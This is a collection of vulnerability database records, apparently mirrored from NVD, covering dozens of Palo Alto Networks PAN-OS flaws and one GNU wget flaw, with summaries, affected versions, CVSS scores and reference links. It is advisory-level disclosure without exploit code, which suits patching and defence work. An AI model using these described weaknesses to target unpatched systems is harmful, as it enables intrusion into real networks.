      "value": "When Security Assertion Markup Language (SAML) authentication is enabled and the \u0027Validate Identity Provider Certificate\u0027 option is disabled (unchecked), improper verification of signatures in PAN-OS SAML authentication enables an unauthenticated network-based attacker to access protected resources. The attacker must have network access to the vulnerable server to exploit this vulnerability. This issue affects PAN-OS 9.1 versions earlier than PAN-OS 9.1.3; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9; PAN-OS 8.1 versions earlier than PAN-OS 8.1.15, and all versions of PAN-OS 8.0 (EOL). This issue does not affect PAN-OS 7.1. This issue cannot be exploited if SAML is not used for authentication. This issue cannot be exploited if the \u0027Validate Identity Provider Certificate\u0027 option is enabled (checked) in the SAML Identity Provider Server Profile. Resources that can be protected by SAML-based single sign-on (SSO) authentication are: GlobalProtect Gateway, GlobalProtect Portal, GlobalProtect Clientless VPN, Authentication and Captive Portal, PAN-OS next-generation firewalls (PA-Series, VM-Series) and Panorama web interfaces, Prisma Access In the case of GlobalProtect Gateways, GlobalProtect Portal, Clientless VPN, Captive Portal, and Prisma Access, an unauthenticated attacker with network access to the affected servers can gain access to protected resources if allowed by configured authentication and Security policies. There is no impact on the integrity and availability of the gateway, portal or VPN server. An attacker cannot inspect or tamper with sessions of regular users. In the worst case, this is a critical severity vulnerability with a CVSS Base Score of 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N). In the case of PAN-OS and Panorama web interfaces, this issue allows an unauthenticated attacker with network access to the PAN-OS or Panorama web interfaces to log in as an administrator and perform administrative actions. In the worst-case scenario, this is a critical severity vulnerability with a CVSS Base Score of 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). If the web interfaces are only accessible to a restricted management network, then the issue is lowered to a CVSS Base Score of 9.6 (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Palo Alto Networks is not aware of any malicious attempts to exploit this vulnerability."
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      "value": "Cuando la autenticaci\u00f3n Security Assertion Markup Language (SAML) est\u00e1 habilitada y la opci\u00f3n \u201cValidate Identity Provider Certificate\u201d est\u00e1 deshabilitada (desmarcada), la verificaci\u00f3n inapropiada de firmas en la autenticaci\u00f3n SAML de PAN-OS permite a un atacante basado en la red no autenticado acceder a recursos protegidos. El atacante debe tener acceso de red al servidor vulnerable para explotar esta vulnerabilidad. Este problema afecta a PAN-OS versiones 9.1 anteriores a PAN-OS 9.1.3; PAN-OS versiones 9.0 anteriores a PAN-OS 9.0.9; PAN-OS versiones 8.1 anteriores a PAN-OS 8.1.15, y todas las versiones de PAN-OS 8.0 (EOL). Este problema no afecta a PAN-OS versi\u00f3n 7.1. Este problema no puede ser explotado si SAML no es usado para la autenticaci\u00f3n. Este problema no puede ser explotado si la opci\u00f3n \u201cValidate Identity Provider Certificate\u201d est\u00e1 habilitada (marcada) en el SAML Identity Provider Server Profile. Los recursos que pueden ser protegidos mediante la autenticaci\u00f3n de inicio de sesi\u00f3n \u00fanico basada en SAML (SSO) son: GlobalProtect Gateway, GlobalProtect Portal, GlobalProtect Clientless VPN, Authentication y Captive Portal, los firewalls de PAN-OS  de pr\u00f3xima generaci\u00f3n (PA-Series, VM-Series) e interfaces web Panorama, Prisma Access en el caso de GlobalProtect Gateways, GlobalProtect Portal, Clientless VPN, Captive Portal y Prisma Access, un atacante no autenticado con acceso a la red para los servidores afectados puede conseguir acceso a recursos protegidos si es permitido por la autenticaci\u00f3n configurada y las pol\u00edticas de Seguridad. No hay impacto en la integridad y disponibilidad de la puerta de enlace, portal o servidor VPN. Un atacante no puede inspeccionar ni alterar las sesiones de los usuarios habituales. En el peor de los casos, esta es una vulnerabilidad de gravedad cr\u00edtica con una Puntuaci\u00f3n Base CVSS de 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N). En el caso de las interfaces web de PAN-OS y Panorama, este problema permite a un atacante no autenticado con acceso de red a las interfaces web de PAN-OS o Panorama iniciar sesi\u00f3n como administrador y llevar a cabo acciones administrativas. En el peor de los casos, esta es una vulnerabilidad de gravedad cr\u00edtica con un Puntaje Base CVSS de 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Si las interfaces web solo son accesibles para una red de administraci\u00f3n restringida, entonces el problema se reduce a una Puntuaci\u00f3n Base CVSS de 9.6 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Palo Alto Networks no tiene conocimiento de ning\u00fan intento malicioso para explotar esta vulnerabilidad"
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  ],
  "id": "CVE-2020-2021",
  "lastModified": "2024-11-21T05:24:28.257",
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  "published": "2020-06-29T15:15:12.733",
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      "source": "psirt@paloaltonetworks.com",
      "tags": [
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          "value": "CWE-347"
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      "type": "Primary"
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  ]
}

Vulnerability from fkie_nvd
Published
2016-07-12 19:59
Modified
2024-11-21 02:48
Summary
Cross-site scripting (XSS) vulnerability in the management interface in Palo Alto Networks PAN-OS 7.x before 7.0.8 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors.



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      "value": "Vulnerabilidad de XSS en la interfaz de administraci\u00f3n en Palo Alto Networks PAN-OS 7.x en versiones anteriores a 7.0.8 permite a usuarios remotos autenticados inyectar secuencias de comandos web o HTML arbitrario a trav\u00e9s de vectores no especificados."
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  ],
  "id": "CVE-2016-2219",
  "lastModified": "2024-11-21T02:48:04.037",
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          "version": "2.0"
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        "exploitabilityScore": 6.8,
        "impactScore": 2.9,
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          "scope": "CHANGED",
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  "published": "2016-07-12T19:59:02.270",
  "references": [
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      "source": "cve@mitre.org",
      "url": "http://www.securitytracker.com/id/1036192"
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  "vulnStatus": "Modified",
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Vulnerability from fkie_nvd
Published
2019-03-26 22:29
Modified
2024-11-21 04:36
Summary
PAN-OS 9.0.0 may allow an unauthenticated remote user to access php files.
Impacted products
Vendor Product Version
paloaltonetworks pan-os 9.0.0



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  "id": "CVE-2019-1572",
  "lastModified": "2024-11-21T04:36:50.227",
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  "published": "2019-03-26T22:29:00.800",
  "references": [
    {
      "source": "psirt@paloaltonetworks.com",
      "tags": [
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        "VDB Entry"
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      "url": "http://www.securityfocus.com/bid/107720"
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      "url": "https://security.paloaltonetworks.com/CVE-2019-1572"
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  "vulnStatus": "Modified",
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      "source": "nvd@nist.gov",
      "type": "Primary"
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  ]
}

Vulnerability from fkie_nvd
Published
2013-08-31 17:55
Modified
2024-11-21 01:46
Severity ?
Summary
The device-management command-line interface in Palo Alto Networks PAN-OS 4.0.x before 4.0.8 allows remote authenticated users to execute arbitrary commands via unspecified vectors, aka Ref ID 33080.



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  ],
  "id": "CVE-2012-6598",
  "lastModified": "2024-11-21T01:46:28.107",
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Vulnerability from fkie_nvd
Published
2020-07-08 17:15
Modified
2024-11-21 05:24
Summary
An OS Command Injection vulnerability in the PAN-OS GlobalProtect portal allows an unauthenticated network based attacker to execute arbitrary OS commands with root privileges. An attacker requires some knowledge of the firewall to exploit this issue. This issue can not be exploited if GlobalProtect portal feature is not enabled. This issue impacts PAN-OS 9.1 versions earlier than PAN-OS 9.1.3; PAN-OS 8.1 versions earlier than PAN-OS 8.1.15; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9; all versions of PAN-OS 8.0 and PAN-OS 7.1. Prisma Access services are not impacted by this vulnerability.



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Vulnerability from fkie_nvd
Published
2019-07-16 14:15
Modified
2024-11-21 04:36
Summary
Information disclosure in PAN-OS 7.1.23 and earlier, PAN-OS 8.0.18 and earlier, PAN-OS 8.1.8-h4 and earlier, and PAN-OS 9.0.2 and earlier may allow for an authenticated user with read-only privileges to extract the API key of the device and/or the username/password from the XML API (in PAN-OS) and possibly escalate privileges granted to them.



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Vulnerability from fkie_nvd
Published
2018-08-16 18:29
Modified
2024-11-21 03:40
Summary
The PAN-OS response for GlobalProtect Gateway in Palo Alto Networks PAN-OS 6.1.21 and earlier, PAN-OS 7.1.18 and earlier, PAN-OS 8.0.11 and earlier may allow an unauthenticated attacker to inject arbitrary JavaScript or HTML. PAN-OS 8.1 is NOT affected.
Impacted products



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Vulnerability from fkie_nvd
Published
2020-09-09 17:15
Modified
2024-11-21 05:24
Summary
An information exposure through log file vulnerability where sensitive fields are recorded in the configuration log without masking on Palo Alto Networks PAN-OS software when the after-change-detail custom syslog field is enabled for configuration logs and the sensitive field appears multiple times in one log entry. The first instance of the sensitive field is masked but subsequent instances are left in clear text. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.10; PAN-OS 9.1 versions earlier than PAN-OS 9.1.4.
Impacted products



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      "value": "An information exposure through log file vulnerability where sensitive fields are recorded in the configuration log without masking on Palo Alto Networks PAN-OS software when the after-change-detail custom syslog field is enabled for configuration logs and the sensitive field appears multiple times in one log entry. The first instance of the sensitive field is masked but subsequent instances are left in clear text. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.10; PAN-OS 9.1 versions earlier than PAN-OS 9.1.4."
    },
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      "lang": "es",
      "value": "Una exposici\u00f3n de informaci\u00f3n por medio de una vulnerabilidad de archivo de registro donde los campos confidenciales se registran en el registro de configuraci\u00f3n sin enmascaramiento en el software PAN-OS de Palo Alto Networks cuando el campo syslog personalizado after-change-detail est\u00e1 habilitado para los registros de configuraci\u00f3n y el campo confidencial aparece varias veces en una entrada de registro. La primera instancia del campo confidencial est\u00e1 enmascarada, pero las instancias posteriores se dejan en texto sin cifrar. Este problema impacta a: Versiones PAN-OS 8.1 anteriores a PAN-OS 8.1.16; Versiones PAN-OS 9.0 anteriores a PAN-OS 9.0.10; Versiones PAN-OS 9.1 anteriores a PAN-OS 9.1.4."
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  "id": "CVE-2020-2043",
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Vulnerability from fkie_nvd
Published
2024-09-11 17:15
Modified
2024-11-01 14:26
Summary
A vulnerability in the GlobalProtect portal in Palo Alto Networks PAN-OS software enables a malicious authenticated GlobalProtect user to impersonate another GlobalProtect user. Active GlobalProtect users impersonated by an attacker who is exploiting this vulnerability are disconnected from GlobalProtect. Upon exploitation, PAN-OS logs indicate that the impersonated user authenticated to GlobalProtect, which hides the identity of the attacker.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *
paloaltonetworks pan-os *



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      "value": "Una vulnerabilidad en el portal GlobalProtect del software PAN-OS de Palo Alto Networks permite que un usuario autenticado de GlobalProtect se haga pasar por otro usuario de GlobalProtect. Los usuarios activos de GlobalProtect suplantados por un atacante que explota esta vulnerabilidad se desconectan de GlobalProtect. Tras la explotaci\u00f3n, los registros de PAN-OS indican que el usuario suplantado se autentic\u00f3 en GlobalProtect, lo que oculta la identidad del atacante."
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  ],
  "id": "CVE-2024-8691",
  "lastModified": "2024-11-01T14:26:46.197",
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  "published": "2024-09-11T17:15:14.587",
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Vulnerability from fkie_nvd
Published
2018-01-10 18:29
Modified
2024-11-21 03:17
Summary
Cross-site scripting (XSS) vulnerability in the Captive Portal function in Palo Alto Networks PAN-OS before 8.0.7 allows remote attackers to inject arbitrary web script or HTML by leveraging an unspecified configuration.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *



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  ],
  "id": "CVE-2017-16878",
  "lastModified": "2024-11-21T03:17:09.607",
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Vulnerability from fkie_nvd
Published
2021-01-13 18:15
Modified
2024-11-21 06:20
Summary
An information exposure through log file vulnerability exists in Palo Alto Networks PAN-OS software where configuration secrets for the “http”, “email”, and “snmptrap” v3 log forwarding server profiles can be logged to the logrcvr.log system log. Logged information may include up to 1024 bytes of the configuration including the username and password in an encrypted form and private keys used in any certificate profiles set for log forwarding server profiles. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.18; PAN-OS 9.0 versions earlier than PAN-OS 9.0.12; PAN-OS 9.1 versions earlier than PAN-OS 9.1.4; PAN-OS 10.0 versions earlier than PAN-OS 10.0.1.



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      "value": "An information exposure through log file vulnerability exists in Palo Alto Networks PAN-OS software where configuration secrets for the \u201chttp\u201d, \u201cemail\u201d, and \u201csnmptrap\u201d v3 log forwarding server profiles can be logged to the logrcvr.log system log. Logged information may include up to 1024 bytes of the configuration including the username and password in an encrypted form and private keys used in any certificate profiles set for log forwarding server profiles. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.18; PAN-OS 9.0 versions earlier than PAN-OS 9.0.12; PAN-OS 9.1 versions earlier than PAN-OS 9.1.4; PAN-OS 10.0 versions earlier than PAN-OS 10.0.1."
    },
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    }
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  "id": "CVE-2021-3032",
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          "value": "CWE-532"
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Vulnerability from fkie_nvd
Published
2020-09-09 17:15
Modified
2024-11-21 05:24
Summary
A reflected cross-site scripting (XSS) vulnerability exists in the PAN-OS management web interface. A remote attacker able to convince an administrator with an active authenticated session on the firewall management interface to click on a crafted link to that management web interface could potentially execute arbitrary JavaScript code in the administrator's browser and perform administrative actions. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *
paloaltonetworks pan-os *



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Vulnerability from fkie_nvd
Published
2019-01-30 20:29
Modified
2024-11-21 04:36
Summary
The PAN-OS management web interface in PAN-OS 7.1.21 and earlier, PAN-OS 8.0.14 and earlier, and PAN-OS 8.1.5 and earlier, may allow an unauthenticated attacker to inject arbitrary JavaScript or HTML.
Impacted products



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Vulnerability from fkie_nvd
Published
2015-01-06 15:59
Modified
2024-11-21 02:08
Severity ?
Summary
Cross-site scripting (XSS) vulnerability in the web-based device management interface in Palo Alto Networks PAN-OS before 5.0.15, 5.1.x before 5.1.10, and 6.0.x before 6.0.6 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors, aka Ref ID 64563.



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Vulnerability from fkie_nvd
Published
2018-01-10 18:29
Modified
2024-11-21 03:18
Summary
Palo Alto Networks PAN-OS 6.1, 7.1, and 8.0.x before 8.0.7, when an interface implements SSL decryption with RSA enabled or hosts a GlobalProtect portal or gateway, might allow remote attackers to decrypt TLS ciphertext data by leveraging a Bleichenbacher RSA padding oracle, aka a ROBOT attack.



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Vulnerability from fkie_nvd
Published
2018-07-03 21:29
Modified
2024-11-21 04:15
Summary
The PAN-OS management web interface page in PAN-OS 6.1.20 and earlier, PAN-OS 7.1.16 and earlier, PAN-OS 8.0.8 and earlier, and PAN-OS 8.1.0 may allow an attacker to access the GlobalProtect password hashes of local users via manipulation of the HTML markup.
Impacted products



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Vulnerability from fkie_nvd
Published
2021-11-10 17:15
Modified
2024-11-21 06:20
Summary
An improper handling of exceptional conditions vulnerability exists in Palo Alto Networks GlobalProtect portal and gateway interfaces that enables an unauthenticated network-based attacker to send specifically crafted traffic to a GlobalProtect interface that causes the service to stop responding. Repeated attempts to send this request result in denial of service to all PAN-OS services by restarting the device and putting it into maintenance mode. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.21; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14-h4; PAN-OS 9.1 versions earlier than PAN-OS 9.1.11-h3; PAN-OS 10.0 versions earlier than PAN-OS 10.0.8-h4; PAN-OS 10.1 versions earlier than PAN-OS 10.1.3. Prisma Access customers are not impacted by this issue.



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Vulnerability from fkie_nvd
Published
2016-06-30 17:59
Modified
2024-11-21 02:53
Summary
GNU wget before 1.18 allows remote servers to write to arbitrary files by redirecting a request from HTTP to a crafted FTP resource.
References
secalert@redhat.comhttp://git.savannah.gnu.org/cgit/wget.git/commit/?id=e996e322ffd42aaa051602da182d03178d0f13e1Patch, Vendor Advisory
secalert@redhat.comhttp://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.htmlMailing List, Patch, Vendor Advisory
secalert@redhat.comhttp://lists.opensuse.org/opensuse-updates/2016-08/msg00043.htmlBroken Link
secalert@redhat.comhttp://packetstormsecurity.com/files/162395/GNU-wget-Arbitrary-File-Upload-Code-Execution.htmlExploit, Third Party Advisory, VDB Entry
secalert@redhat.comhttp://rhn.redhat.com/errata/RHSA-2016-2587.htmlBroken Link
secalert@redhat.comhttp://www.oracle.com/technetwork/topics/security/bulletinjul2016-3090568.htmlThird Party Advisory
secalert@redhat.comhttp://www.securityfocus.com/bid/91530Third Party Advisory, VDB Entry
secalert@redhat.comhttp://www.securitytracker.com/id/1036133Third Party Advisory, VDB Entry
secalert@redhat.comhttp://www.ubuntu.com/usn/USN-3012-1Third Party Advisory
secalert@redhat.comhttps://bugzilla.redhat.com/show_bug.cgi?id=1343666Exploit, Issue Tracking, Patch, Third Party Advisory
secalert@redhat.comhttps://security.gentoo.org/glsa/201610-11Third Party Advisory
secalert@redhat.comhttps://security.paloaltonetworks.com/CVE-2016-4971Third Party Advisory
secalert@redhat.comhttps://www.exploit-db.com/exploits/40064/Exploit, Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108http://git.savannah.gnu.org/cgit/wget.git/commit/?id=e996e322ffd42aaa051602da182d03178d0f13e1Patch, Vendor Advisory
af854a3a-2127-422b-91ae-364da2661108http://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.htmlMailing List, Patch, Vendor Advisory
af854a3a-2127-422b-91ae-364da2661108http://lists.opensuse.org/opensuse-updates/2016-08/msg00043.htmlBroken Link
af854a3a-2127-422b-91ae-364da2661108http://packetstormsecurity.com/files/162395/GNU-wget-Arbitrary-File-Upload-Code-Execution.htmlExploit, Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108http://rhn.redhat.com/errata/RHSA-2016-2587.htmlBroken Link
af854a3a-2127-422b-91ae-364da2661108http://www.oracle.com/technetwork/topics/security/bulletinjul2016-3090568.htmlThird Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.securityfocus.com/bid/91530Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108http://www.securitytracker.com/id/1036133Third Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108http://www.ubuntu.com/usn/USN-3012-1Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://bugzilla.redhat.com/show_bug.cgi?id=1343666Exploit, Issue Tracking, Patch, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security.gentoo.org/glsa/201610-11Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security.paloaltonetworks.com/CVE-2016-4971Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.exploit-db.com/exploits/40064/Exploit, Third Party Advisory, VDB Entry



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Vulnerability from fkie_nvd
Published
2020-05-13 19:15
Modified
2024-11-21 05:24
Summary
An external control of filename vulnerability in the command processing of PAN-OS allows an authenticated administrator to delete arbitrary system files affecting the integrity of the system or causing denial of service to all PAN-OS services. This issue affects: All versions of PAN-OS 7.1 and 8.0; PAN-OS 8.1 versions before 8.1.14; PAN-OS 9.0 versions before 9.0.7; PAN-OS 9.1 versions before 9.1.1.



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}

Vulnerability from fkie_nvd
Published
2013-08-31 17:55
Modified
2024-11-21 01:46
Severity ?
Summary
The device-management command-line interface in Palo Alto Networks PAN-OS 4.0.x before 4.0.9 and 4.1.x before 4.1.2 allows remote authenticated administrators to execute arbitrary commands via unspecified vectors, aka Ref ID 34595.



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  ],
  "id": "CVE-2012-6595",
  "lastModified": "2024-11-21T01:46:27.717",
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Vulnerability from fkie_nvd
Published
2013-08-31 17:55
Modified
2024-11-21 01:46
Severity ?
Summary
Palo Alto Networks PAN-OS 4.0.x before 4.0.9 and 4.1.x before 4.1.3 stores cleartext LDAP bind passwords in authd.log, which allows context-dependent attackers to obtain sensitive information by reading this file, aka Ref ID 35493.



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Vulnerability from fkie_nvd
Published
2020-07-08 17:15
Modified
2024-11-21 05:24
Summary
An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated administrators to execute arbitrary OS commands with root privileges. This issue impacts PAN-OS 8.1 versions earlier than PAN-OS 8.1.15; and all versions of PAN-OS 7.1 and PAN-OS 8.0. This issue does not impact PAN-OS 9.0, PAN-OS 9.1, or Prisma Access services.
Impacted products



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Vulnerability from fkie_nvd
Published
2020-04-08 19:15
Modified
2024-11-21 05:11
Summary
A stack-based buffer overflow vulnerability in the management server component of PAN-OS allows an authenticated user to upload a corrupted PAN-OS configuration and potentially execute code with root privileges. This issue affects Palo Alto Networks PAN-OS 8.1 versions before 8.1.13; 9.0 versions before 9.0.7. This issue does not affect PAN-OS 7.1.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *
paloaltonetworks pan-os *



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Vulnerability from fkie_nvd
Published
2016-04-12 17:59
Modified
2024-11-21 02:50
Severity ?
Summary
The management web interface in Palo Alto Networks PAN-OS before 5.0.18, 6.0.x before 6.0.13, 6.1.x before 6.1.10, and 7.0.x before 7.0.5 allows remote attackers to execute arbitrary OS commands via an unspecified API call.



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}

Vulnerability from fkie_nvd
Published
2017-12-11 17:29
Modified
2024-11-21 03:15
Severity ?
Summary
The web interface packet capture management component in Palo Alto Networks PAN-OS before 6.1.19, 7.0.x before 7.0.19, 7.1.x before 7.1.14, and 8.0.x before 8.0.6 allows remote authenticated users to execute arbitrary code via unspecified vectors.



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Vulnerability from fkie_nvd
Published
2013-08-31 17:55
Modified
2024-11-21 01:46
Severity ?
Summary
Palo Alto Networks PAN-OS before 3.1.10 and 4.0.x before 4.0.5 allows remote attackers to execute arbitrary commands via unspecified vectors, aka Ref ID 31091.



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Vulnerability from fkie_nvd
Published
2021-08-11 17:15
Modified
2024-11-21 06:20
Summary
An OS command injection vulnerability in the Palo Alto Networks PAN-OS web interface enables an authenticated administrator to execute arbitrary OS commands to escalate privileges. This issue impacts: PAN-OS 9.0 version 9.0.10 through PAN-OS 9.0.14; PAN-OS 9.1 version 9.1.4 through PAN-OS 9.1.10; PAN-OS 10.0 version 10.0.7 and earlier PAN-OS 10.0 versions; PAN-OS 10.1 version 10.1.0 through PAN-OS 10.1.1. Prisma Access firewalls and firewalls running PAN-OS 8.1 versions are not impacted by this issue.



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Vulnerability from fkie_nvd
Published
2021-11-10 17:15
Modified
2024-11-21 06:20
Summary
An OS command injection vulnerability in the Palo Alto Networks PAN-OS command line interface (CLI) enables an authenticated administrator with access to the CLI to execute arbitrary OS commands to escalate privileges. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.20-h1; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14-h3; PAN-OS 9.1 versions earlier than PAN-OS 9.1.11-h2; PAN-OS 10.0 versions earlier than PAN-OS 10.0.8; PAN-OS 10.1 versions earlier than PAN-OS 10.1.3. Prisma Access customers that have Prisma Access 2.1 firewalls are impacted by this issue.



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Vulnerability from fkie_nvd
Published
2020-05-13 19:15
Modified
2024-11-21 05:24
Summary
An OS command injection vulnerability in PAN-OS management interface allows an authenticated administrator to execute arbitrary OS commands with root privileges. This issue affects: All versions of PAN-OS 7.1 and 8.0; PAN-OS 8.1 versions earlier than 8.1.14; PAN-OS 9.0 versions earlier than 9.0.7.



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Vulnerability from fkie_nvd
Published
2018-07-03 21:29
Modified
2024-11-21 04:15
Summary
The PAN-OS session browser in PAN-OS 6.1.20 and earlier, PAN-OS 7.1.16 and earlier, PAN-OS 8.0.9 and earlier, and PAN-OS 8.1.1 and earlier may allow an attacker to inject arbitrary JavaScript or HTML.



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Vulnerability from fkie_nvd
Published
2020-05-13 19:15
Modified
2024-11-21 05:11
Summary
An open redirection vulnerability in the GlobalProtect component of Palo Alto Networks PAN-OS allows an attacker to specify an arbitrary redirection target away from the trusted GlobalProtect gateway. If the user then successfully authenticates it will cause them to access an unexpected and potentially malicious website. This issue affects: PAN-OS 7.1 versions earlier than 7.1.26; PAN-OS 8.0 versions earlier than 8.0.14.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *
paloaltonetworks pan-os *



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        },
        "exploitabilityScore": 2.8,
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}

Vulnerability from fkie_nvd
Published
2021-09-08 17:15
Modified
2024-11-21 06:20
Summary
A reflected cross-site scripting (XSS) vulnerability in the Palo Alto Network PAN-OS web interface enables an authenticated network-based attacker to mislead another authenticated PAN-OS administrator to click on a specially crafted link that performs arbitrary actions in the PAN-OS web interface as the targeted authenticated administrator. This issue impacts: PAN-OS 8.1 versions earlier than 8.1.20; PAN-OS 9.0 versions earlier than 9.0.14; PAN-OS 9.1 versions earlier than 9.1.10; PAN-OS 10.0 versions earlier than 10.0.2. This issue does not affect Prisma Access.



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Vulnerability from fkie_nvd
Published
2016-04-12 17:59
Modified
2024-11-21 02:50
Summary
The device management command line interface (CLI) in Palo Alto Networks PAN-OS before 5.0.18, 5.1.x before 5.1.11, 6.0.x before 6.0.13, 6.1.x before 6.1.10, and 7.0.x before 7.0.5H2 allows remote authenticated administrators to execute arbitrary OS commands via an SSH command parameter.



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Vulnerability from fkie_nvd
Published
2023-12-13 19:15
Modified
2024-11-21 08:44
Summary
An OS command injection vulnerability in Palo Alto Networks PAN-OS software enables an authenticated administrator to disrupt system processes and potentially execute arbitrary code with limited privileges on the firewall.



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Vulnerability from fkie_nvd
Published
2015-06-02 14:59
Modified
2024-11-21 02:30
Severity ?
Summary
XML external entity (XXE) vulnerability in the management interface in PAN-OS before 5.0.16, 6.x before 6.0.8, and 6.1.x before 6.1.4 allows remote authenticated administrators to obtain sensitive information via crafted XML data.



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  ],
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Vulnerability from fkie_nvd
Published
2013-08-31 17:55
Modified
2024-11-21 01:46
Severity ?
Summary
The device-management command-line interface in Palo Alto Networks PAN-OS before 3.1.10 and 4.0.x before 4.0.4 allows remote authenticated users to execute arbitrary commands via unspecified vectors, aka Ref ID 30122.
Impacted products



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    }
  ],
  "id": "CVE-2012-6602",
  "lastModified": "2024-11-21T01:46:28.673",
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Vulnerability from fkie_nvd
Published
2017-03-15 14:59
Modified
2024-11-21 03:27
Summary
The Management Web Interface in Palo Alto Networks PAN-OS before 6.1.16, 7.0.x before 7.0.13, and 7.1.x before 7.1.8 allows remote authenticated users to read arbitrary files via unspecified vectors.



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      "url": "https://security.paloaltonetworks.com/CVE-2017-5583"
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Vulnerability from fkie_nvd
Published
2020-05-13 19:15
Modified
2024-11-21 05:11
Summary
The GlobalProtect Portal feature in PAN-OS does not set a new session identifier after a successful user login, which allows session fixation attacks, if an attacker is able to control a user's session ID. This issue affects: All PAN-OS 7.1 and 8.0 versions; PAN-OS 8.1 versions earlier than 8.1.14; PAN-OS 9.0 versions earlier than 9.0.8.



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        },
        "exploitabilityScore": 2.8,
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      "tags": [
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    },
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      "type": "Primary"
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}

Vulnerability from fkie_nvd
Published
2017-04-29 00:59
Modified
2024-11-21 03:32
Summary
The Management Web Interface in Palo Alto Networks PAN-OS before 6.1.17, 7.x before 7.0.15, and 7.1.x before 7.1.9 allows remote authenticated users to obtain sensitive information by leveraging incorrect permission validation, aka PAN-SA-2017-0013 and PAN-70541.



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Vulnerability from fkie_nvd
Published
2013-08-31 17:55
Modified
2024-11-21 01:46
Severity ?
Summary
The device-management command-line interface in Palo Alto Networks PAN-OS before 3.1.11, 4.0.x before 4.0.8, and 4.1.x before 4.1.1 allows remote authenticated administrators to execute arbitrary commands via unspecified vectors, aka Ref ID 34299.



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Vulnerability from fkie_nvd
Published
2016-11-19 06:59
Modified
2024-11-21 03:00
Severity ?
Summary
Buffer overflow in the management web interface in Palo Alto Networks PAN-OS before 5.0.20, 5.1.x before 5.1.13, 6.0.x before 6.0.15, 6.1.x before 6.1.15, 7.0.x before 7.0.11, and 7.1.x before 7.1.6 allows remote attackers to execute arbitrary code via unspecified vectors.



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Vulnerability from fkie_nvd
Published
2020-03-11 19:15
Modified
2024-11-21 05:11
Summary
A predictable temporary filename vulnerability in PAN-OS allows local privilege escalation. This issue allows a local attacker who bypassed the restricted shell to execute commands as a low privileged user and gain root access on the PAN-OS hardware or virtual appliance. This issue affects only PAN-OS 8.1 versions earlier than PAN-OS 8.1.13. This issue does not affect PAN-OS 7.1, PAN-OS 9.0, or later PAN-OS versions.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *



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Vulnerability from fkie_nvd
Published
2021-11-10 17:15
Modified
2024-11-21 06:20
Summary
A memory corruption vulnerability exists in Palo Alto Networks GlobalProtect portal and gateway interfaces that enables an unauthenticated network-based attacker to disrupt system processes and potentially execute arbitrary code with root privileges. The attacker must have network access to the GlobalProtect interface to exploit this issue. This issue impacts PAN-OS 8.1 versions earlier than PAN-OS 8.1.17. Prisma Access customers are not impacted by this issue.
Impacted products
Vendor Product Version
paloaltonetworks pan-os *



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Vulnerability from fkie_nvd
Published
2020-06-10 18:15
Modified
2024-11-21 05:24
Summary
A buffer overflow vulnerability in the authd component of the PAN-OS management server allows authenticated administrators to disrupt system processes and potentially execute arbitrary code with root privileges. This issue affects: All versions of PAN-OS 7.1 and PAN-OS 8.0; PAN-OS 8.1 versions earlier than PAN-OS 8.1.13; PAN-OS 9.0 versions earlier than PAN-OS 9.0.7.



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Vulnerability from fkie_nvd
Published
2020-09-09 17:15
Modified
2024-11-21 05:24
Summary
A buffer overflow vulnerability in PAN-OS allows an unauthenticated attacker to disrupt system processes and potentially execute arbitrary code with root privileges by sending a malicious request to the Captive Portal or Multi-Factor Authentication interface. This issue impacts: All versions of PAN-OS 8.0; PAN-OS 8.1 versions earlier than PAN-OS 8.1.15; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9; PAN-OS 9.1 versions earlier than PAN-OS 9.1.3.



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Vulnerability from fkie_nvd
Published
2020-06-10 18:15
Modified
2024-11-21 05:24
Summary
An OS Command Injection vulnerability in PAN-OS management server allows authenticated administrators to execute arbitrary OS commands with root privileges when uploading a new certificate in FIPS-CC mode. This issue affects: All versions of PAN-OS 7.1 and PAN-OS 8.0; PAN-OS 8.1 versions earlier than PAN-OS 8.1.13; PAN-OS 9.0 versions earlier than PAN-OS 9.0.7.



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Vulnerability from fkie_nvd
Published
2021-09-08 17:15
Modified
2024-11-21 06:20
